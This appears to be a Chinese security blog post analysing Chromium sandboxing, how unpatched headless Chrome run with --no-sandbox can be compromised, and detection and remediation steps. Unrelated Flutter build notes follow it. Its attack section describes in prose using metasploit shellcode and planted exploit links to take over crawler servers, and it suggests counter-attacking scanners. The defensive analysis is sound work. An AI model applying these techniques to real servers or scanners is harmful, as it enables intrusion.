攻防启示:Chromium组件风险剖析与收敛

I. 背景

数月前我们在攻防两个方向经历了一场“真枪实弹”的考验,期间团队的目光曾一度聚焦到Chromium组件上。其实,早在 Microsoft 2018年宣布 Windows的新浏览器 Microsoft Edge 将基于Chromium内核进行构建之前,伴随互联网发展至今的浏览器之争其实早就已经有了定论,Chromium已然成为现代浏览器的事实标准,市场占有率也一骑绝尘。在服务端、桌面还是移动端,甚至据传SpaceX火箭亦搭载了基于Chromium开发的控制面板。

Chromium内核的安全问题,早已悄无声息地牵动着互联网生活方方面面。基于对实战经历的复盘,本文将从Chromium架构及安全机制概况入手,剖析Chromium组件在多场景下给企业带来的安全风险并一探收敛方案。

II. 浅析Chromium

2.1 Chromium涉及哪些组件?

Chromium主要包含两大核心组成部分:渲染引擎和浏览器内核。

2.1.1 渲染引擎

Chromium目前使用Blink作为渲染引擎,它是基于webkit定制而来的,核心逻辑位于项目仓库的third_party/blink/目录下。渲染引擎做的事情主要有:

  • 解析并构建DOM树。Blink引擎会把DOM树转化成C++表示的结构,以供V8操作。
  • 调用V8引擎处理JavaScript和Web Assembly代码,并对HTML文档做特定操作。
  • 处理HTML文档定义的CSS样式
  • 调用Chrome Compositor,将HTML对应的元素绘制出来。这个阶段会调用OpenGL,未来还会支持Vulkan。在Windows平台上,该阶段还会调用DirectX库处理;在处理过程中,OpenGL还会调用到Skia,DirectX还会调用到ANGLE。

Blink组件间的调用先后关系,可用下图概括:

可以说,几乎所有发生在浏览器页签中的工作,都有Blink参与处理。由于涉及许多组件库,不难想象过程中可能会出现的安全风险一定不少。据《The Security Architecture of the Chromium Browser》一文的统计数据,约67.4%的浏览器漏洞都出在渲染引擎中,这也是为什么要引入Sandbox这么重要。

2.1.2 浏览器内核

浏览器内核扮演连接渲染引擎及系统的“中间人”角色,具有一定“特权”,负责处理的事务包括但不限于:

1) 管理收藏夹、cookies以及保存的密码等重要用户信息

2) 负责处理网络通讯相关的事务

3) 在渲染引擎和系统间起中间人的角色。渲染引擎通过Mojo与浏览器内核交互,包含组件:download、payments等等。

2.2 Chromium的沙箱保护原理/机制

1、为什么要引入沙箱?

前述部分提到,Chromium渲染引擎涉及大量C++编写的组件,出现漏洞的概率不小。因此,基于纵深防御理念浏览器引入了涉及三层结构。渲染引擎等组件不直接与系统交互,而是通过一个被称为MOJO的IPC组件与浏览器引擎通讯(也被称为:broker),再与系统交互。进而可以实现:即便沙箱中的进程被攻破,但无法随意调用系统API产生更大的危害。有点类似:即便攻破了一个容器实例,在没有逃逸或提权漏洞的情况下,宿主机安全一定程度上不受影响(实际上,浏览器的Sandbox和容器隔离的部分技术原理是相似的)。

2、浏览器的哪些部分是运行在沙箱中的?

浏览器渲染引擎、GPU、PPAPI插件以及语音识别服务等进程是运行在沙箱中的。此外不同系统平台下的部分服务也会受沙箱保护,例如Windows下打印时调用的PDF转换服务、icon浏览服务;MacOS下NaCl loader、需要访问IOSurface的镜像服务等。

更多细节可查阅Chromium项目文件sandbox_type.h和sandbox_type.cc中的源码定义:

3、Windows和Linux下沙箱实现的技术细节

Windows

在Windows平台上,Chrome组合使用了系统提供的Restricted Token、Integrity Level、The Windows job object、The Windows desktop object机制来实现沙盒。其中最重要的一点是,把写操作权限限制起来,这样攻击这就无法通过写入文件或注册表键来攻击系统。

Linux

Chrome在Linux系统上使用的沙箱技术主要涉及两层:

层级 功能
Layer - 1 用于限制运行在其中的进程对资源的访问
Layer - 2 用于有关进程对系统内核某些攻击面的访问

第一层沙箱采用setuid sandbox方案。

其主要功能封装在二进制文件chrome_sandbox内,在编译项目时需要单独添加参数“ninja -C xxx chrome chrome_sandbox”编译,可以通过设置环境变量CHROME_DEVEL_SANDBOX指定Chrome调用的setuid sandbox二进制文件。

setuid sandbox主要依赖两项机制来构建沙盒环境:CLONE_NEWPID和CLONE_NEWNET方法。CLONE_NEWPID一方面会借助chroots,来限制相关进程对文件系统命名空间的访问;另一方面会在调用clone()时指定CLONE_NEWPID选项,借助PID namespace,让运行在沙盒中的进程无法调用ptrace()或kill()操作沙盒外的进程。而CLONE_NEWNET则用于限制在沙盒内进程的网络请求访问,值得一提的是,使用该方法需要CAP_SYS_ADMIN权限。这也使得当Chrome组件在容器内运行时,沙箱能力所需的权限会和容器所管理的权限有冲突;我们无法用最小的权限在容器里启动Chrome沙箱,本文4.2.2部分会详细阐述此处的解决之道。

更多详参见Linux Namespace及cgroups介绍说明:《Resource management: Linux kernel Namespaces and cgroups》- https://sites.cs.ucsb.edu/~rich/class/cs293b-cloud/papers/lxc-namespace.pdf

由于setuid sandbox方案存在一定短板。自Chrome 44版本起已推荐namespaces sandbox来替代setuid sandbox方案,其主要依赖于Linux内核提供的user namespaces机制,相关逻辑可在项目的如下行代码看到:

第二层沙箱采用Seccomp-BPF方案,用来限制进程访问内核特定攻击面。

其原理是:通过将Seccomp和BPF规则结合,实现基于用户配置的策略白名单,对系统调用及其参数进行过滤限制。

https://source.chromium.org/chromium/chromium/src/+/main:sandbox/policy/linux/bpf_audio_policy_linux.cc;l=34;drc=8d990c92df3d03ff3d313428f25dd11b7e509bcf;bpv=1;bpt=1

2.3 小结

Chromium涉及的组件众多,使用的C++语言天然决定了会潜在不少安全问题。例如:一个V8中的内存安全问题(如:CVE-2021-21220、CVE-2019–5782),组合Web Assembly将Shellcode写入RWX Pages,在未受沙箱保护的情况下,就能实现远程代码执行。

沙箱机制组合使用了OS相关的隔离能力(如:Linux平台上的namespace、Seccomp-BPF机制),限制了被沙箱保护进程的资源访问以及syscall能力,能很好的防止出现在渲染引擎中的漏洞,被用于直接实现RCE :但沙箱机制也存在一些不足,历史上也出现过沙箱逃逸的漏洞,例如:Google Project Zero团队曾发布的《Virtually Unlimited Memory: Escaping the Chrome Sandbox》一文。

综上,在无法100%预防Chromium渲染进程出现内存安全问题的情况下,开启沙箱保护是一项必须落地的最佳安全实践。

III. Chromium漏洞攻击利用场景分析

作为一款客户端组件,在评估Chromium漏洞时,常常会聚焦于客户端的攻防场景。但根据我们的经验,受chromium漏洞影响的不仅有客户端应用,也包含了服务器上运行的程序,例如:部署在服务器端、基于Chrome Headless应用的爬虫程序等。

3.1 服务器端

3.1.1 禁用沙盒的chromium headless应用

随着Phantomjs项目停止维护,Chromium headless已经成为Headless Browser的首选。在日常开发、测试、安全扫描、运维中,有许多地方会用到Headless Browser,包括不限于以下场景:

在这些场景中,如果程序本身使用的Chromium存在漏洞,且访问的URL可被外部控制,那么就可能受到攻击最终导致服务器被外部攻击者控制。

以常见的使用Chrome headless的爬虫为例,如果在一些网站测试投放包含exploit的链接,有概率会被爬虫获取,相关爬取逻辑的通常做法是新建tab导航至爬取到的链接。此时,如果爬虫依赖的chromium应用程序更新不及时,且启动时设置了—no-sandbox参数,链接指向页面内的exploit会成功执行,进而允许攻击者控制爬虫对应的服务器。

为何 —no-sandbox 会如此泛滥呢?我们不妨来看一下,当我们在ROOT下启动Chrome,会有什么样的提示呢?

我们会得到 Running as root without —no-sandbox is not supported 的错误提示,且无法启动 Chrome;这对于以研发效率和产品功能优先的研发同学来说无异于提示“请使用 —no-sandbox 来启动 Chrome”, 应用容器化的进程也加剧了使用ROOT用户启动应用程序的情况。你不得不创建一个新的普通用户来启动Chrome服务,例如在 Dockerfile 里加入 RUN useradd chrome 和 USER chrome 语句;有些基于Chrome的著名第三方库甚至会在代码中隐形植入关闭 sandbox的代码,当研发同学在ROOT下启动应用程序时,第三方库会默认关闭sandbox,添加 —no-sandbox 参数,例如 Golang 第三方 package Chromedp 的代码:

此时,对于开发同学来说使用 —no-sandbox 参数甚至是无感的,直至自己的容器或服务器被攻击者入侵控制。

即使研发同学sandbox来避免安全风险的意识,在容器化的应用内启动chrome也是不易的;为镜像创建一个新的非ROOT用户并非唯一的条件,Chrome sandbox 需要调用一些特定的 syscall 或 linux capabilities 权限用于启动 sandbox 逻辑,同时容器镜像需要打入 chrome-sandbox二进制文件并写入环境变量以供Chrome进程找到sandbox程序。若未对Chrome容器进行特定的权限配置,chrome将输出 Operation not permitted 报错信息并退出。

所以,网络上有大量的文档和博客推荐启用 —no-sandbox 来解决 Chrome headless 的使用问题,这也间接助长了 —no-sandbox 参数这种错误用法的泛滥:

我们将在后面的章节里详细为您讲解 Chrome Sandbox 在容器以及容器集群中方便快捷且安全合理的部署解决方案。

3.1.2 浅议攻击方式

未知攻焉知防?虽然在已有Exploit的情况下进行漏洞利用并不困难,但知悉漏洞利用的流程和攻击行为有助于我们更好的构建安全能力。以下以最近的CVE-2021-21224漏洞为例,当服务端上程序使用的chromium版本存在漏洞时,且未开启Sandbox,可以利用这个漏洞来获取服务器的权限。

首先攻击者使用metasploit生成shellcode,这里假设chromium是在linux上运行且架构为x64。同时,考虑到爬虫运行结束后往往会结束浏览器进程,通过设置PrependFork为true可以保证session的持久运行。

生成shellcode后监听端口:

实战中,可以通过投递带exploit的链接到各个网站上,这里假设攻击者控制的服务器正在被爬取或者正在被渗透测试人员的扫描器扫描:

成功获取到爬虫/扫描器的服务器session:

meterpreter的进程是fork后的chrome子进程:

可以猜想,不仅是各种内嵌浏览器的客户端程序易受chromium相关漏洞影响,可能有相当多的服务端程序也暴露在chromium 0Day/Nday的攻击下。 chromium漏洞将会成为企业防御边界的新的突破口,而这个突破口是自内而外的,相比开放端口在外的服务漏洞,这种攻击可能会更隐蔽。

作为防御方,我们也可以利用chromium漏洞来反制一些攻击者,如果攻击者安全意识较差或者使用的工具安全性不强,防御方在服务器上托管带有exploit的网页,攻击者的爬虫/扫描器扫到了这些网页就可能被反制攻击。

3.2 客户端

在面对Chromium组件风险时,客户端场景往往首当其冲。通常,其风险成立条件有两点:1、使用了存在漏洞的Chromium组件;2、可以指定Webview组件访问特定的网站地址。

3.2.1 移动客户端

目前,移动客户端主要分两大“阵营”:安卓和iOS,最大相关风险是Webview类组件。前者 Android System Webview是基于Chromium源代码开发的,所以当1 Day披露时,需要及时跟进影响;iOS App一般会使用WKWebView和JavaScriptCore,Chromium 1 Day影响iOS应用的可能性较低。

客户端内置Webview浏览器窗口

除了使用系统自带的Webview组件,另外一种比较常见且更容易引起注意的方式是使用应用内置或独立于系统之外的浏览器组件;此时,应用会选用Chromium体系的概率较高。应用选择自己内置并维护浏览器组件的原因有很多,例如以下几类需求:

1、在浏览器内核层回收更多用于Debug的客户端信息;
2、支持如夜间模式、中文优化等用户需求;
3、支持更多的视频格式和文件格式;

也有应用为了应对此前App Store在WWDC大会提出的限制(即App Store中的所有应用都必须启用App Transport Security 安全功能并全量走HTTPS),使用改过的Webview组件曲线救国,以便达到App Store的合规需求。

也因为应用自己维护所使用的浏览器组件,当系统的WebView跟随系统升级而修复漏洞时,应用所使用的的浏览器组件并不跟着更新;作为应用开发者自己维护的硬分支,Chromium不断的功能变更和漏洞修复补丁都需要应用开发者自行合并和兼容;这不仅需要硬核的浏览器研发能力也需要日以继夜不断的坚持。再加上,无论在移动端还是桌面客户端,在使用应用内WebView时为了更加轻便和简洁,浏览器组件多是以单进程的方式启动;而在我们之前对Sandbox技术的介绍中,浏览器Sandbox和单进程WebView组件显然是冲突的;这也使得历史上关闭Sandbox能力的客户端程序,在漏洞修复过程中,对于开启Sandbox的修复操作存在历史包袱。

无论如何,我们始终不建议移动端应用的WebView组件可以由用户控制并打开开放性的页面;这会使得应用内加载的内容可能存在不可控或不可信的内容。WebView组件可以打开的URL,应该用白名单进行限制;特别是可以用 Deeplink 打开并且存在 URL 参数的 WebView。

3.2.2 桌面客户端

许多桌面客户端应用也是基于Chromium构建的。一类是基于Chromium定制的浏览器产品、或内置基于Chromium开发Webview组件的桌面客户端应用;另一类是基于Electron构建的桌面客户端应用。

前者与传统Chrome浏览器或是嵌入在移动客户端的Webview组件类似,如果未开启沙箱保护,面临很大的风险。而后者Electron则是在评估Chromium漏洞攻防利用场景时,比较容易被忽视的一块。Electron基于Chromium和Node构建,其主要特性之一就是能在渲染进程中运行Node.js。目前有许多客户端工具基于它开发,涉及:VS Code、Typora、Slack等。默认情况下,渲染器进程为受沙箱保护,这是因为:大多数Node.js 的API都需要系统权限,没有文件系统权限的情况下require()是不可用的,而该文件系统权限在沙箱环境下是不可用的,但功能性进程受沙箱保护。 Electron除面临渲染引擎本身的安全风险外,主要风险源自于其本身的功能特性 —— nodeIntegration。当该选项被设置为true,表示renderer有权限访问node.js API,进而执行“特权”操作。这时如果攻击者能自由控制渲染的页面内容,则可直接实现RCE。

IV. 风险收敛方案

回到我们今天的主题:修复和防御。如上我们知道,Chromium的安全问题是方方面面的,各类安全风险也会在不同的场景上产生,那么如何收敛就是企业安全建设永恒的话题;最后我们想分享我们的安全实践经验,力求解答在安全实践中我们遇到的以下几个问题,如:Chrome组件的漏洞都有哪些?Google又是如何跟进它们的?我们又该如何评估和检测Chrome持续更新过程中所公开的1Day风险?最终如何修复?Linux容器中开启Chrome沙盒的最佳实践又是什么?

4.1 风险监测和评估

4.1.1 风险情报

有两个渠道可以及时了解到Chromium漏洞披露情况:

● Chromium工单系统。该平台上收录了所有已公开的Chrome安全Issue,可借助特定关键词检索。如检索已公开的高风险安全问题,可访问:https://bugs.chromium.org/p/chromium/issues/list?can=1&q=Security_Severity%3DHigh%20&colspec=ID%20Pri%20M%20Stars%20ReleaseBlock%20Component%20Status%20Owner%20Summary%20OS%20Modified&sort=-modified&num=100&start=

● Chrome发布日志。Chrome稳定版本发布消息会在https://chromereleases.googleblog.com/上发出,和稳定版本发布消息一起的还有该版本做了哪些安全更新以及对应漏洞的奖金。

事实上,甲方安全人员还可以借助一些技巧,提前了解安全问题的修复细节。Gerrit是基于git的一款Code Review平台,chrome team使用该平台进行code review:https://chromium-review.googlesource.com/。该平台上的主题会关联对应的issue id,通过对应修复commit的主题可以了解到issue的修复方案和代码。

chromium使用https://bugs.chromium.org对chromium的bug进行跟踪。可以用短链来访问对应的issue,例如issue 1195777可以用该链接访问:https://crbug.com/1195777。

chromium安全问题对应关联的issue在修复期间并且在补丁发布后也不一定是可见的,官方给出的披露原则是在补丁广泛应用后才会开放issue的限制。但是Gerrit上对issue修复代码的code review和关联信息是一直可见的,我们如果想了解某个issue具体的修复代码和方案可以在Gerrit上找到。

以issue 1195777为例,在Gerrit使用bug搜索关键字可以搜到对应commit的code review主题:

而如果只有CVE编号,CVE的References一般会给出issue的短链,虽然通常该issue限制访问,但是仍可以通过Gerrit了解相关issue的具体修复代码,安全研究者可以根据这些修复代码对该问题进行分析,进而推测出漏洞复现代码。

难怪Twitter上某位研究员会说:“如果0-Day有Chromium Bug Tracker的编号,那它就不算0-Day了”。

另外,还可以从 国家信息安全漏洞库 检索相关的漏洞问题。

4.1.2 风险评估

通常,在Chromium官方披露漏洞或外部已出现在野利用的案例后,应进行风险评估,主要聚两个问题:

● 公司内哪些产品受漏洞影响?
● 外部披露的exp是否能真实利用形成危害?

在获悉一个漏洞的存在后,安全人员需要评估漏洞对公司的影响如何。通常一个可利用的漏洞在披露后会马上有安全人员写出exploit,而公开的exploit将导致利用门槛的大幅降低。因此,常常需要监控公开信息渠道的exploit信息,例如:监控Github、Twitter等平台的消息。但是早在exploit披露前,就可以通过

Chromium Monorail系统中的issues、代码CL或者更新日志提前了解风险。

一个漏洞的影响评估流程可以按下面几步走:

1、 确定存在漏洞组件为哪个部分。

2、 采集使用了该组件的产品(包括:使用了嵌入式浏览器的客户端、单纯使用v8引擎等组件的软件、使用了chrome headless的服务端程序);有些产品仅使用chrome的一部分组件可能不受影响。例如:v8就会影响所有用Chromium内核的产品,但iOS客户端如果用JavaScriptCore,则不受影响。

3、 确认使用存在漏洞组件的产品使用的版本是否受影响,如果产品本身对chromium进行定制化开发的情况下,难以根据版本确定,可以通过PoC(部分场景下,可借助Chromium项目中的单元测试用例)进行黑盒测试或者白盒审计受影响代码是否存在,是否存在漏洞的触发路径。

4、 原则上内存破坏类的漏洞在没有exploit公开的情况下也需要尽快修复,存在公开exploit的情况下,需要立即修复;有时候exploit使用到的exploit技术可能仅适用于某些版本的chromium,但是并不代表这些版本之外的chromium完全没有利用的可能。例如使用WebAssembly创建RWX pages来写入shellcode的技术在客户端使用的chromium版本不支持,但依旧存在通过ROP等技术来到达RCE的可能性。

4.1.3 风险检测

4.1.3.1 黑盒测试

V8等组件会编写单元测试js文件,可以基于此修改形成页面,来通过黑盒的方式判断组件是否受对应漏洞影响。对于漏洞测试来说,这个资源也是极好的TestCase。

以CVE-2021-21224为例,编写黑盒测试用例过程如下:

1、 通过Issue编号定位到对应的Chromium Gerrit工单
https://chromium-review.googlesource.com/c/v8/v8/+/2838235

2、 定位到官方提供的、针对该漏洞的单元测试文件
https://chromium-review.googlesource.com/c/v8/v8/+/2838235/4/test/mjsunit/compiler/regress-1195777.js

3、 基于单元测试文件修改生成黑盒测试用例
如果仔细观察,会发现上述单元测试代码中包含%开头的函数。它们是v8引擎内置的runtime函数,用于触发v8引擎的某些功能特性,需要在v8的debug版本d8命令行工具启动时,追加—allow-natives-syntax参数才会生效。因此,直接将上述单元测试js来测试是无法准确测出是否存在漏洞的。但可以通过编写js代码,实现相同的效果,例如:

值得一提的是,前述漏洞的单元测试用例并不会造成浏览器tab崩溃,而只是输出的数值与预期不符。因此,可以看到上述单元测试用例中引入了assertTrue、assertEquals等断言方法,用于判断单元测试数值是否与预期相等。如果不等,则认为存在漏洞。在进行改造时,也要一并用自己的JavaScript代码替换。最终,前述官方提供的测试用例可改造如下:

4、 最终效果如下


4.1.3.2 静态代码扫描

如上面所述,由于Chrome漏洞即便在没有正式发布安全公告前,就已经有Issue ID,且能通过Gerrit平台找到涉及的代码变动。因此,开发人员可以抢先在公司内部代码仓库进行全局静态代码扫描并修复问题。

目的 策略 目的
收集包含chromium组件的仓库 扫描特定文件名特征(如有需要可添加一些代码特征) 掌握企业内应用的组件指纹
精确判断某个Issue对应的代码是否已修复 扫描文件名特征 + 每个Issue对应的代码特征 追踪特定漏洞的修复情况

● 收集包含chromium组件的仓库
不同的项目可能会引入Chromium整体或部分相关的组件,通常可结合文件名、或特定的代码片段,在公司的代码仓库中收集包含相关指纹的仓库。

● 精确判断某个Issue对应的代码是否已修复
以要精准扫描全局代码仓库中是否存在涉及v8组件的CVE-2021-21224的漏洞代码为例。可基于semgrep类方案,对公司代码仓库进行全局检查,编写静态代码扫描步骤如下:

1、 根据Issue号找到对应的漏洞修复代码变动
● https://chromium-review.googlesource.com/c/v8/v8/+/2838235
● https://chromium-review.googlesource.com/c/v8/v8/+/2838235/4/src/compiler/representation-change.cc

2、确定涉及文件representation-change.cc,存在漏洞的代码特征为

3、可编写semgrep规则如下

4、调用命令扫描

5、最终效果,如下

4.1.3.3 主机Agent采集

针对部署在服务器端、且使用了Chromium的程序,除了上述方法之外,可以考虑借助HIDS、EDR或RASP等系统采集进程特征,排查存在风险的实例。

同时满足下面两个条件的 cmdline,其进程我们就可以认为是存在风险的:

● 程序名包含 Chrome 或 Chromium
● 且 Cmdline 中包含 —no-sandbox 参数或 —disable-setuid-sandbox

关于误报

这里大家可能会产生疑问,这里为什么单独检测 Sandbox 的开启与关闭就判断风险呢?若Chromium组件已经使用最新发布的commit编译而成,包含了所有的漏洞补丁,也一样不会受到1Day和NDay漏洞的影响。其实,这里主要考虑到Chrome在对漏洞修复是十分频繁的,持续的升级存在一定的维护成本,且不排除攻击者拥有Chromium 0Day的可能。相较之下,逃逸Sandbox以控制浏览器所在的主机,是比较困难的;所以要求线上业务,尽可能开启 Chromium Sandbox特性。

关于漏报

另外,以上方案若Chrome可执行文件被修改了文件名,则容易产生漏报。另一种可选的方案是:提取出多个Chrome的特有选项进行过滤。例如,headless浏览器启动时一般不会导航至特定url,此时命令行会存在about:blank,再用Chrome特定的区别于其他浏览器的选项进行排除。

更复杂的方案可以提取出Chrome执行文件的文件特征,或者建立Chrome执行文件的hashsum数据库来判断进程的执行文件是否是Chrome浏览器,进而再筛选启动时用了不安全配置的进程。其实,我们在大规模观察相关的进程数据和运营之后,发现利用 —no-sandbox 单个因素进行进程数据分析并获取未开启Sandbox的Chromium进程,这样简单粗暴的做法并不会产生太多误报;有些进程看似非 Chromium 浏览器,但其实也集成了 Chromium 并使用 no-sandbox 参数。

4.2 风险修复

4.2.1 通用修复方案

无论是客户端还是服务端,为了解决Chrome漏洞的远程命令执行风险,启用Chrome Sandbox,去除启动Chrome组件时的 —no-sandbox参数都是必须推进的安全实践。

如果客户端程序直接使用了Chrome的最新版本,且未进行过于复杂的二次开发和迁移,没有历史包袱的话,在客户端里开启Chrome Sandbox,其实就是使用Chrome组件的默认安全设计,障碍是比较小的。

此处根据不同场景和需求,存在三种不同的修复方案:

方案1. 启用Sandbox

1、启动 Chrome 时切勿使用 —no-sandbox 参数,错误的例子如:./bin/chrome --remote-debugging-address=0.0.0.0 --remote-debugging-port=9222 --disable-setuid-sandbox --no-sandbox

2、使用普通用户而非 root 用户启动 chrome headless 进程

方案2. 更新Chromium内核版本(后续维护成本极高):

下载 https://download-chromium.appspot.com/ 中的最新版本进行更新,并在后续迭代中持续升级到最新版(Chromium的最新版本会编译最新的MR和Commit,因此也会修复Chrome未修复的0.5Day漏洞,下载链接包含了所有的操作系统的 Chromium ,例如Linux 可访问 https://download-chromium.appspot.com/?platform=Linux_x64&type=snapshots 下载)。

请注意,如果不希望相似的安全风险如之前的Fastjson那样需要反复跟进并且高频推动业务修复,强烈建议安全团队推动业务参考方案一开启Sandbox,方案二可以当成短期方案规避当前风险。经统计,2010年至今Google共对外公开Chromium高危漏洞1800多个;Chromium的漏洞修复十分频繁,若不开启Sandbox,需持续更新最新版本。

若要启用Sandbox,需要解决一定的依赖:首先,Chrome的Sandbox技术依赖于Linux内核版本,低版本的内核无法使用。各Sandbox技术Linux内核依赖可参考下图

(图片来源 官方文档 https://chromium.googlesource.com/chromium/src/+/master/docs/linux/sandboxing.md#sandbox-types-summary):

Chrome 运行时会寻找 chrome-sandbox 文件,一般下载 Chrome 的 Release 时,Chrome程序目录下都包含了 Sandbox 程序,若无法寻找到 chrome-sandbox 文件可能会产生下述 Error 信息:

[0418/214027.785590:FATAL:zygote_host_impl_linux.cc(116)] No usable sandbox! Update your kernel or see https://chromium.googlesource.com/chromium/src/+/master/docs/linux/suid_sandbox_development.md for more information on developing with the SUID sandbox. If you want to live dangerously and need an immediate workaround, you can try using —no-sandbox.

可参考
https://github.com/puppeteer/puppeteer/blob/main/docs/troubleshooting.md#alternative-setup-setuid-sandbox 进行配置。若服务器的 Chrome 目录下包含了 chrome-sandbox 文件,则可以直接修改配置运行,若不包含,可前往 https://download-chromium.appspot.com/ 下载对应版本的 chrome-sandbox 文件使用。(注:Chrome 可执行文件的同一目录内包含 chrome-sandbox 程序,则无需手动设置 CHROME_DEVEL_SANDBOX 环境变量)

方案3、客户端选择系统默认浏览器打开外链URL

另外一个更加合适合理的设计是尽量避免使用应用内置的浏览器打开开放性URL页面。我们应该尽量使用系统的浏览器去打开非公司域名的URL链接(同时应该注意公司域名下的URL跳转风险);把打开URL的能力和场景交还给系统浏览器或专门的浏览器应用;保障应用内加载的资源都是可控的。

此方案同样适用于:客户端内置的Chromium Webview组件短时间内无法随系统快速更新,且由于历史包袱无法Webview组件无法开启沙箱。此时,在客户端引入一个“降级”逻辑,将不可信的页面跳转交给系统默认的浏览器打开。由于系统默认的浏览器通常默认是打开沙箱的,因此不失为一种“缓兵之计”。

4.2.2 云原生时代下,针对Chrome组件容器化的风险修复指引

业界云原生实践的发展非常迅速,企业应用容器化、组件容器化的脚步也势不可挡。从当前的Kubernetes应用设计的角度出发,Chrome Headless组件在逻辑上是非常适用于无状态应用的设计的,所以Chrome组件在容器化的进程也比较快。也因此,在HIDS进程大盘中, 启用 —no-sandbox 的 Chrome headless 进程也一直在持续增多。

如果 Chrome 浏览器组件已经实现了容器化,那么您想使用 Chrome sandbox 肯定会遇到各种麻烦;网络上有很多不完全安全的建议和文档,请尽量不要给容器添加 privileged 权限和 SYS_ADMIN 权限,这将可能引入新的风险,详情可参考我们之前的文章《红蓝对抗中的云原生漏洞挖掘及利用实录》。

我们应该尽量使用例如 —security-opt 的方案对容器权限进行可控范围内的限制,构建一个 Seccomp 白名单用于更安全的支持容器场景,这是一个足够优雅且较为通用的方式。如果企业已经践行了K8s容器集群安全管理的规范和能力,在集群内新建带有privileged 权限或 SYS_ADMIN 权限的应用容器是会被集群管理员明确拒绝的,Seccomp是一个安全且可管理的方案。

你可以参考下述方式启动一个带有 seccomp 配置的容器:
docker run -it —security-opt seccomp:./chrome.json chrome-sandbox-hub-image-near —headless —dump-dom https://github.com/neargle

实际上seccomp配置文件规定了一个可管理的syscall白名单,我们的配置文件就是需要把Sandbox所需的系统权限用白名单方式赋予给容器,使得容器可以调用多个原本默认禁止的 syscall。可以使用下列命令来检测当前的操作系统是否支持 seccomp:
➜ grep CONFIG_SECCOMP= /boot/config-$(uname -r)
CONFIG_SECCOMP=y

如果你的容器使用K8s进行部署,那你可以在 spec.securityContext.seccompProfile 中配置上述 chrome.json 文件。

通过白名单设置 Chrome 所需的 syscall 以最小化容器权限,避免容器逃逸的风险,同时也符合多租户容器集群的安全设计,是一个推荐的方案;设置 Seccomp 后,容器内可正常启用 chrome-sandbox,如下图。

根据在HIDS收集到的资产和内部操作系统的特性,可以利用 strace 工具很容易收集到启动 Sandbox 所需的 SysCall,并根据 SysCall 编写所需的 seccomp 配置文件。当然直接使用开源社区里现成的配置文件也能适用于绝大部分环境,著名前端测试工具 lighthouse 所用的配置文件是一个非常不错的参考:https://github.com/GoogleChrome/lighthouse-ci/blob/main/docs/recipes/docker-client/seccomp-chrome.json。

V. 总结

随着Chromium在企业各场景下的广泛应用,需要针对性地设置风险例行检测及应急响应方案,涉及的风险与应用场景、检查及修复方式,可概括如下:

除Chromium外,企业开发时也不乏会涉及到Safari、Firefox等其他浏览器类组件的场景,在进行风险排查和响应时可借鉴类似的思路。

参考及引用

[1] Linux Sandboxing
https://chromium.googlesource.com/chromium/src/+/HEAD/docs/linux/sandboxing.md
[2] The Security Architecture of the Chromium Browser
https://seclab.stanford.edu/websec/chromium/chromium-security-architecture.pdf
[3] My Take on Chrome Sandbox Escape Exploit Chain
https://medium.com/swlh/my-take-on-chrome-sandbox-escape-exploit-chain-dbf5a616eec5
[4] Linux SUID Sandbox
https://chromium.googlesource.com/chromium/src/+/HEAD/docs/linux/suid_sandbox.md
[5] How Blink Works
https://docs.google.com/document/d/1aitSOucL0VHZa9Z2vbRJSyAIsAz24kX8LFByQ5xQnUg/edit
[6] Chrome浏览器引擎 Blink & V8
https://zhuanlan.zhihu.com/p/279920830
[7] Blink-in-JavaScript
https://docs.google.com/presentation/d/1XvZdAF29Fgn19GCjDhHhlsECJAfOR49tpUFWrbtQAwU/htmlpresent
[8] core/script: How a Script Element Works in Blink
https://docs.google.com/presentation/d/1H-1U9LmCghOmviw0nYE_SP_r49-bU42SkViBn539-vg/edit#slide=id.gc6f73
[9] [TPSA21-12] 关于Chrome存在安全问题可能影响Windows版本微信的通告
https://mp.weixin.qq.com/s/qAnxwM1Udulj1K3Wn2awVQ
[10] Hacking Team Android Browser Exploit代码分析
https://security.tencent.com/index.php/blog/msg/87
[11] 物联网安全系列之远程破解Google Home
https://security.tencent.com/index.php/blog/msg/141
[12] Android Webview UXSS 漏洞攻防
https://security.tencent.com/index.php/blog/msg/70

参考链接


攻防启示:Chromium组件风险剖析与收敛

macOS Big Sur(11.6.2/11.7.1) 编译Flutter engine

准备同步代码:

生成配置代码同步配置文件:

内容如下:

注意,上面的 name 字段不能变更,否则会在同步代码的时候报错

执行代码同步命令(国内需要配置代理):

从源代码开始构建:

一般情况下我们使用的是官方版本的引擎,如果需要调试 libflutter.so 里面的符号,可以在flutter_infra页面直接下载带有符号表的SO文件,根据打包时使用的Flutter工具版本下载对应的文件即可。

比如2.8.1版本:

拿到引擎版本号后在https://console.cloud.google.com/storage/browser/flutter_infra_release/flutter/890a5fca2e34db413be624fc83aeea8e61d42ce6/ 看到该版本对应的所有构建产物,下载android-arm-release、android-arm64-release和android-x86目录下的symbols.zip。

参考链接


Flutter的编译模式

原文

使用过 Flutter 构建 APP 的人可能有个疑惑,Flutter 的编译产物有时候是一个共享库,有时候是几个文件,比较难于理解,本文主要介绍 Flutter 中的编译模式。

编译模式分类

源代码需要编译才能运行,一般来讲编译模式分为 JIT 和 AOT 两大类

JIT

全称为 Just In Time(即时编译),比较典型的就是 V8 JS引擎,它能够即时的编译和运行 JavaScript 代码。你只要输入 JavaScript 的字符串源码,V8 就能编译和运行这段代码。通常来说,支持 JIT 的语言一般能够支持自省函数(eval),在运行时动态的执行源码。

所以 JIT 模式有个显然的优点,你可以直接将代码分发给用户,而不用考虑用的机器架构。有这个,就可以为用户提供丰富和动态的内容。

但缺点也是比较明显的,大量的字符串源码,将花费 JIT 编译器大量的时间和内存来编译和执行,会让用户感觉应用启动缓慢。

AOT

全称为 Ahead Of Time(事前编译), 典型的例子就是像 C/C++ 需要被编译成特殊的二进制,才可以通过进程加载和运行。

AOT 的优势就是速度快,通过事先编译好的二进制代码,加载和执行的速度都会非常快,在密集计算或者图形渲染的场景下能够获得比较好的用户体验。

但 AOT 也有一些缺点,编译源代码的时候,需要注意用户的设备架构。对于不同的构架需要生成不同的二进制代码,也就会增加应用需要下载的程序包大小。而且二进制代码需要获得执行权限,所以无法在权限比较严格的系统(比如iOS)中动态更新。

Dart 的编译模式

Flutter 使用 Dart 作为开发语言,自然和 Dart 的编译模式脱离不了关系,所以我们先来看一下 Dart 的编译模式。

Script: 最常见的 JIT 模式,就像 Node.js 那样,可以在命令行直接执行 Dart 源代码

Script Snapshot: 不同于 Script 模式,Script Snapshot 模式载入的是已经 token 化的 dart 源码,提前做了编译期间的 Lexer 步骤, 也是属于 JIT 模式

